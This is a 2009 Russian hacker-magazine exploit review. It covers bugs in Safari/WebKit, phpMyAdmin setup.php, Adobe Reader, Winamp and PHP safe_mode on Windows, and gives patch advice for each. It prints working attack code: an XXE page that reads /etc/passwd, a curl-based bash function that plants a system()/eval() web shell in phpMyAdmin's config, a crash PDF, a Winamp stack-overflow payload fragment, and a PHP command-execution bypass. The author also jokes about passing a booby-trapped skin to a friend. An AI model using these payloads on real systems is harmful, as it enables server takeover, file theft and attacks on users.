Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #127, ИЮЛЬ 2009 г.

Обзор эксплойтов

Дмитрий «Forb» Докучаев (forb@gameland.ru)


Лето. Пора отпусков. Наверняка ты подумал, что в это жаркое время достойных багов, ровно как и эксплойтов, стало меньше? Черта с два! Упорные багоискатели вместо того, чтобы оттягиваться в шумной компании, потрошат якобы совершенный софт в поисках смертельных брешей, а как следствие – и эксплойтов. И, как ни странно, находят!

Множественные уязвимости в Safari 3.x

Brief:

Давненько мы не кидали камни в огород Macintosh’а! Боюсь думать, что все представляют MacOS как абсолютно защищенную систему (по крайней мере, так заявляют пиарщики). А что они скажут на то, что совсем недавно главный браузер от Macintosh под звучным названием «Safari» был просто обстрелян со стороны багокопателей? В нем нашли как минимум 3 класса различных уязвимостей, которые мы, сейчас же, рассмотрим подробнее.

Справедливости ради, я сразу внесу важную ремарку: все найденные баги напрямую не относятся к «Safari» - они таятся в различных библиотеках и средствах разработки, используемых браузером: «FreeType», «LibPng», «Apple’s Webkit». С одной стороны, это снимает ответственность с разработчиков MacOS-браузера, с другой – «глобализует» баг, позволяя ему мигрировать в другие приложения.

Теперь по существу: одной из первых уязвимостей, обнаруженной еще в конце апреля, является выполнение произвольного кода в удаленной системе. Со слов независимых экспертов, достаточно под благовидным предлогом передать ядовитый линк жертве, в котором будет присутствовать ссылка на модифицированный шрифт. Скушав красную пилюлю, система впадет в ступор и выполнит произвольный код, либо уронит MacOS (в смысле, не со стола, конечно :), просто устроит локальный DoS).

Недостаточные проверки параметров, приводящие к переполнению буфера, присутствуют в библиотеке «FreeType», а именно, в штатных функциях обработки шрифтов «cff_charset_compute_cids()» и «ft_smooth_render_generic()». Нам же остается поверить багоискателям на слово, ибо эксплойт пока еще крутится в приватных хакерских кругах. Но, по слухам, вполне достойно функционирует.

Второй баг, обнаруженный чуть позже, хранится в функциях обработки PNG-изображений библиотеки «libpng». Уязвимость существует из-за того, что библиотека некорректно инициализирует определенные массивы указателей перед освобождением элементов массивов в случае, когда приложение потребляет всю доступную память. Злоумышленник может заслать ссылку на специальный PNG, который позаботится о повреждении памяти и выполнит произвольный код на удаленной системе. Но, опять-таки, это все слова – эксплойту временно присвоен статус «0day».

И, наконец, третья уязвимость, затесавшаяся в продукте «Apple’s Webkit», посредством которого написано множество яблочных продуктов. Баг присутствует в функциях обработки XML и относится к классу уязвимостей XXE (XML eXternal Enttity – Внешний объект XML). Разработчики случайно (или намерено) допустили возможность включение произвольного локального файла в просматриваемый XML-документ. Последствия от бреши могут быть самыми разными: от банального DoS’а системы (когда пользователь обратится к какому-нибудь «/dev/urandom» или аналогичному Win-приложению), до создания специальной клиент-серверной системы (когда содержание файла неминуемо попадет на компьютер злоумышленника). Не исключен вариант, когда «Safari» запущен под привилегированным пользователем (в этом случае, атака будет носить локальный характер с целью повышения прав).

Exploit:

Ниже привожу код эксплойта для реализации бага в «Apple’s Webkit» в родном «Safari».

<!DOCTYPE doc [ <!ENTITY ent SYSTEM "file:///etc/passwd"> ] >
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
Below you should see the content of a local file, stolen by this evil web page.
<p/>
&ent;
<script>
alert(document.body.innerHTML);
</script>
</body>
</html>
</xsl:template>
</xsl:stylesheet>

Как видишь, лексема «&ent;» хранит в себе содержимое «/etc/passwd», который магическим образом отобразится на экране.

Если ты счастливый обладатель Safari, можешь пройти тест на вшивость по ссылкам https://cevans-app.appspot.com/static/safaristealfilebug.xml (MacOS) и https://cevans-app.appspot.com/static/safaristealfilebugwin.xml (Windows).

Targets:

Уязвимы все версии Safari до 4.х, включая iPhone, где установлен сей зверек. Кроме того, из-за глобальности бага, он может присутствовать во всех продуктах, основанных на «Apple’s WebKit». Они не особо популярны, но список ты всегда можешь найти на webkit.org.

Solution:

Обновление до Safari 4.x решит все проблемы и устранит угрозы внешних нападений.

phpMyAdmin (/scripts/setup.php) PHP Code Injection Exploit

Brief:

Давно нас не баловали хорошими уязвимостями в популярных проектах. Сегодня я постараюсь это исправить. 4 июня багоискателям удалось обнаружить изъян в проекте phpMyAdmin, а именно в генераторе настроечных файлов «/scripts/setup.php». Суть бага довольно проста: в процессе установки phpMyAdmin происходит генерация основных параметров (хоста mysql, логина, пароля, названия базы и т.п.) с последующим их сохранением в «/config/config.inc.php». Так вот, до недавнего времени разработчики довольно аккуратно фильтровали нежелательный контент, но в последних версиях чуть-чуть изменили алгоритм. В итоге, злоумышленник может передать ядовитые параметры, позволяющие записать произвольный код в конфигурационный файл. Затем, по обращению к этому конфигу, хакер получит полноценный Web-шелл.

А теперь разберемся, как это происходит на самом деле. Вместе с прочими параметрами в значение переменной “host” инжектируется, к примеру, фраза «phpinfo();//localhost». На выходе получим вполне работоспособный сценарий, выводящий phpinfo(). Помимо прочего эксплойт позволяет внедрить «passthru()» для передачи команд Web-шеллу при помощи значения переменной «c».

Но не думай, что все так просто. Эксплойт накладывает некоторые ограничения на phpMyAdmin. Во-первых, нужно, чтобы администратор устанавливал проект через мастера, а не вручную. Во-вторых, необходимо наличие файла «scripts/setup.php», который почему-то (интересно, почему? :)) любят удалять. В-третьих, директория «config/» также должна присутствовать, а на файл «config.inc.php» должен быть установлен атрибут записи. В четвертых, на машине необходим работоспособный curl (с его помощью происходит инжектирование кода). И, наконец, уязвимыми версиями phpMyAdmin являются 2.11.x до 2.11.9.5 и 3.x до 3.1.3.1 (все релизы достаточно новые и выпускались до апреля этого года).

Как итог, хакер может без труда написать автосканер phpMyadmin и эксплуатировать каждый хост. На мой взгляд, вероятность успехи атаки недалека от 30%, а при таких раскладах, одна лишь ночь сканирования будет приносить взломщику море нелишних Web-шеллов.

Exploit:

Ниже приводится ключевая функция exploit(), отвечающая за инжект вредоносного кода.

function exploit {

postdata="token=$1&action=save&configuration="\
"a:1:{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:23:%22host%27]="\
"%27%27%3b%20phpinfo%28%29%3b//%22%3bs:9:%22localhost%22%3bs:9:"\
"%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22connect_type%22%3bs:3:"\
"%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:"\
"%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix"

postdata2="token=$1&action=save&configuration=a:1:"\
"{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:136:%22host%27%5d="\
"%27%27%3b%20if(\$_GET%5b%27c%27%5d){echo%20%27%3cpre%3e%27%3b"\
"system(\$_GET%5b%27c%27%5d)%3becho%20%27%3c/pre%3e%27%3b}"\
"if(\$_GET%5b%27p%27%5d){echo%20%27%3cpre%3e%27%3beval"\
"(\$_GET%5b%27p%27%5d)%3becho%20%27%3c/pre%3e%27%3b}%3b//"\
"%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3bs:6:%22"\
"mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%22%3bs:8:"\
"%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:%22config"\
"%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix"

flag="/tmp/$(basename $0).$RANDOM.phpinfo.flag.html"
echo "[+] attempting to inject phpinfo() ..."
curl -ks -b $2 -d "$postdata" --url "$3/scripts/setup.php" >/dev/null
if curl -ks --url "$3/config/config.inc.php" | grep "phpinfo()" >/dev/null
   then
       curl -ks --url "$3/config/config.inc.php" >$flag    
       echo "[+] success! phpinfo() injected successfully! output saved on $flag"
       curl -ks -b $2 -d $postdata2 --url "$3/scripts/setup.php" >/dev/null
       echo "[+] you *should* now be able to remotely run shell commands and PHP code using your browser. i.e.:"
       echo "    $3/config/config.inc.php?c=ls+-l+/"
       echo "    $3/config/config.inc.php?p=phpinfo();"
       echo "    please send any feedback/improvements for this script to"\
       "unknown.pentester<AT_sign__here>gmail.com"
   else
       echo "[+] no luck injecting to $3/config/config.inc.php :("
       exit
   fi
}

Если ты не поленишься написать простенький PHP-парсер передаваемых строк, то получишь посимвольную картину инжекта.

Полный код эксплойта можно скачать по ссылке securitylab.ru/poc/extra/381413.php.

Targets:

Уязвимыми версиями phpMyAdmin являются 2.11.x до 2.11.9.5 и 3.x до 3.1.3.1 (все релизы достаточно новые и выпускались до апреля этого года).

Solution:

Нависшую угрозу безопасности решит либо удаление файла «/scripts/setup.php», либо изолирование каталога «/config» вне Web-директории, либо (самый предпочтительный вариант) обновление phpMyAdmin до свежей версии. Последнее можно осуществить с официальной локации: sourceforge.net/projects/phpmyadmin.

Adobe Acrobat 9.1.1 Stack Overflow Crash PoC exploit

Brief:

Очередная темная лошадка на арене PoC появилась в начале июня. На этот раз, по заявлениям неизвестных багоискателей, обнаружилась брешь в Adobe Acrobat аж до версии 9.1.1. В паблик выложили лишь PoC-эксплойт, при запуске которого ничего не происходит. Точнее происходит – вываливается среда, из которой был запущен PoC. Если это браузер – закрываются все вкладки IE/Firefox/Opera/Mozilla. Если это сам Acrobat Reader – то и он вылетает. Короче говоря, сплойт действительно сшибает с ног Adobe Reader.

Почему же это происходит? Чтобы это выяснить, бережно скачаем PDF’ку каким-нибудь сторонним менеджером (я использовал wget на удаленном сервере) и присмотримся в исходный код файла. Для простоты восприятия, помещаю его ниже.

%PDF-1.4
%
4 0 obj<</ProcSet[/PDF/Text]>>endobj
5 0 obj<</Length 1>>stream
endstream
endobj
3 0 obj<</Type/Page/Parent 2 0 R/Contents 5 0 R/MediaBox [0 0 595 842]/Resources 4 0 R>>endobj
2 0 obj<</Type/Pages/Kids [3 0 R ]/Count 1 >>endobj
6 0 obj<</S/JavaScript/JS ( 0
function Init\(\) { if \(typeof this.info.ModDate == "object"\) { return true; }app.alert\([[[[[[[[.... * 4098 } Init\(\); )>>endobj
1 0 obj<</Type/Catalog/Pages 2 0 R/OpenAction 6 0 R>>endobj
xref
0 7
0000000000 65535 f
0000020392 00000 n
0000000193 00000 n
0000000098 00000 n
0000000015 00000 n
0000000052 00000 n
0000000245 00000 n
trailer
<<
/Size 7
/Root 1 0 R
/ID [<c52946397fbfbe4d5492f9f411a983e2><c52946397fbfbe4d5492f9f411a983e2>]
>>
startxref
20452
%%EOF

Смотрим и видим, что в секции init содержится странный alert, содержащий 4098 байт мусора. Очевидно, что он и стал причиной падения. Как говорится, доверяй, но проверяй, поэтому я отредактировал файл, оставив лишь 10 байт «мусора». В итоге, PDF’ка открылась без ошибок.

Каков же вывод? Все просто, функция «app.alert()» не содержит должную проверку на переполнение, в итоге мы имеем безобидный DoS. Подчеркиваю, именно безобидный, поскольку в приватных кругах наверняка ходит эксплойт, реализующий выполнение произвольного системного кода, который впоследствии будет использоваться в различных связках для «пробива» приватных троянцев. Поэтому мотай информацию на ус и немедленно обновляйся.

Exploit:

Вбей в адресную строку «securitylab.ru/_download/exploits/2009/05/adobe-reader-dos.pdf» и увидишь... аварийное закрытие браузера :).

Targets:

Уязвимыми являются все версии Acrobat Reader, включая релиз 9.1.1. Помни, что если ты жмякнешь на ссылку с ядовитым PDF-файлом, захлопнется и программа, которая инициировала его открытие

Solution:

Обновляй читалку на официальном сайте «get.adobe.com/reader». Тем самым ты защитишь свой компьютер от непрошеных гостей.

Winamp buffer owerflow multiple exploits

Brief:

На этот раз не обошлось без музыкальных жертв – под прицел багоискателей попал самый популярный Windows-player Winamp от Nullsoft. За один лишь месяц в нем было найдено две громких уязвимости, о которых я спешу тебе рассказать.

1. Как я уже писал, все продукты базируются на каких-либо компонентных библиотеках. И если в софте практически идеальный код, то уязвимость может находиться во вспомогательной библиотеке. Особенно тяжело положение, если исходники библиотеки закрыты (с одной стороны, сложно найти уязвимость, но с другой – никто от нее в принципе не застрахован :)). Но в случае с Winamp – баг тривиален. Умельцы нашли изъян в функциях «voc_read_header()» и «aiff_read_header()», принадлежащие библиотеки «libsndfile» и читающие заголовки «.voc»- и «.aiff»-файлов (по-видимому, обе функции написаны по одному алгоритму). Если верить экспертам, в этих функциях содержится код, приводящий к переполнению динамической памяти. Как следствие, любой желающий может создать «.voc» или «.aiff»-файл со специальным заголовком, после чего Winamp послушно выполнит произвольный системный код.

К сожалению, все ограничилось словами, и сплойт никто так и не выложил. Однако у тебя имеется вся информация к размышлению, чтобы написать собственный сплойт (перерывай старые подшивки журнала и смотри статьи Криса – по подобным наводкам он это делал не раз ;).

2. Ответь мне на простой вопрос: «Любишь ли ты скины Winamp, как люблю их я?». На самом деле, я шучу, но было время, когда я часами изучал различные шкурки от проигрывателя, останавливаясь на самом лучшем. Думаю и сейчас есть фанаты модных скинов... Гхм, к чему это я? :) Короче говоря, совсем недавно обнаружили возможность переполнения буфера в парсере «MAKI» (библиотека gen_ff.dll). Maki – это, собственно, и есть скрипты Winamp’а, образующие скин (привязку кнопок, функционал и т.п.). Если углубиться в технические подробности, будет понятно, что механизм парсинга .maki состоит в последовательном чтении двух байт, отвечающих за длину. Если чуть увеличить эту длину произойдет... правильно – переполнение стека и аварийное завершение программы. А если чуток подумать и увеличить длину с умом, мы добьемся перезаписи адреса возврата и выполнение произвольного системного кода. Что и происходит в эксплойте.

payload = "\x41"*16756
payload += "\x74\x06\x90\x90"
payload += "\x32\x55\xF0\x12" # universal p/p/r in_mod.dll
payload += shellcode # calc shellcode from metasploit

В этом фрагменте эксплойта происходит смещение строки на адрес шеллкода, который успешно вызовется после обработки .maki-файла.

Если «отдебажить» парсинг .maki-файла, то мы получим следующую картину:

.text:12094F62 loc_12094F62:
.text:12094F62 mov ax, [ebx]
.text:12094F65 movsx edi, ax ; sign extension
.text:12094F68 inc ebx
.text:12094F69 push edi ; Size
.text:12094F6A inc ebx
.text:12094F6B lea eax, [ebp+MultiByteStr]
.text:12094F71 push ebx ; Src
.text:12094F72 push eax ; Dst, buffer is located in the stack
.text:12094F73 call memmove

.text:120951E5 loc_120951E5:
.text:120951E5 mov edi, [ebx]
.text:120951E7 add ebx, 4
.text:120951EA mov ax, [ebx]
.text:120951ED movsx esi, ax ; sign extension
.text:120951F0 inc ebx
.text:120951F1 push esi ; Size
.text:120951F2 inc ebx
.text:120951F3 lea eax, [ebp+var_10144]
.text:120951F9 push ebx ; Src
.text:120951FA push eax ; Dst, buffer is located in the stack
.text:120951FB call memmove

Все испытания проводились на скине от «Big Bento», который ты можешь найти на официальном сайте. Файл mcvcore.maki находится в «PROGRAMFILES/Winamp/Skins/Bento/Scripts». А теперь подумай, что будет, если аккуратно впарить якобы крутой скин своему сотоварищу? Правильно! Но я тебе этого не говорил :).

Exploit:

По первому багу, как я уже сказал, эксплойта никто не предоставил. Зато по второму – их целых два. Один написан на Си (securitylab.ru/poc/extra/380450.php), а второй на Питоне (securitylab.ru/poc/extra/380454.php).

Targets:

Уязвимыми считаются:

  1. Библиотека «libsndfile» до версии <= 1.0.20, активно использующаяся в Winamp.
  2. Сам Winamp до версии <= 5.55.

Solution:

Зайди на «winamp.com» и обновись до последнего релиза. Благодаря своевременному оповещению разработчиков, баг был исправлен в тот же день. Хорошо это или нет – не знаю, но в любом случае в Сети еще осталось огромное количество уязвимых версий.

PHP <= 5.2.9 Local Safemod Bypass Exploit (win32)

Brief:

Нашлась дырка и в самой свежей версии PHP, позволяющая осуществить обход ограничений «safe_mode». Напомню, что взведенная в php.ini опция «safe_mode» не позволяет инклудить файлы, выполнять системные вызовы и т.п. Но багоискатели нашли способ выполнения команд при включенном «safe_mode». Правда, только на Windows-платформах.

Почему только на Windows? Дело в том, что баг актуален лишь в силу специфики OS и был пропущен из-за кроссплатформенности PHP. Все дело в слэшах. Если в *nix-like системах «/usr/bin/php» и «\usr\bin\php» будут считаться совершенно разными строками (мало того, вторая строка вернет тебе ошибку), то Windows сочтет их вполне одинаковыми. К слову, это является одним из признаков характеристики целевой системы при ее изучении (Remote OS Fingerprinting). Например, если перед нами система со сбитыми TTL, Windows Size, а также модифицированным сетевым стеком, и у нас есть доступ к FTP или Web-Server'у, то можно сразу опознать Windows всего лишь по двум запросам к файлу.

Эксплойт, совсем недавно опубликованный командой Abysssec (abyssses.com), представляет собой два файла: php-сценарий «cmd.php» и исполняемый «cmd.bat» (на самом деле, можно было реализовать баг с использованием одного файла, ну да ладно).

Ключевой фрагмент сплойта такой:

$cmd = $_REQUEST['cmd'];
if ($cmd){
$batch = fopen ("cmd.bat","w");
fwrite($batch,"$cmd>abysssec.txt"."\r\n");
fwrite($batch,"exit");
fclose($batch);
exec("\start cmd.bat");
echo "<center>";
echo "<h1>Abysssec.com PHP 5.x SafeMod Bypasser</h1>";
echo "<textarea rows=20 cols=60>";
require("abysssec.txt");
echo "</textarea>";
echo "</center>";

Как видишь, весь баг сводится к тому, что «safe_mode» пропускает конструкцию «\start cmd.bat», начинающуюся с символа «\». Команда записывается в «cmd.bat», который выводит ее результат в текстовик. А текстовый файл, в свою очередь, отображается на экране. Вот такой вот геморрой :).

Exploit:

Эксплойт берем по адресу abysssec.com/safemod-windows.zip или milw0rm.com/sploits/2009-safemod-windows.zip. Описание к эксплойту (менее подробное, чем в этом обзоре) можно изучить по ссылке s3curi7y.org/local.php?id=7.

Targets:

Уязвимыми являются все версии PHP, но помни, что интерпретатор должен быть установлен на Windows-платформе. А как проверить OS, ты уже знаешь.

Solution:

В данный момент уязвимость не устранена. Но если позарез нужно избавиться от бага, просто запрети функцию «exec()» или напиши парсер, убивающий все боковые слеши.

Содержание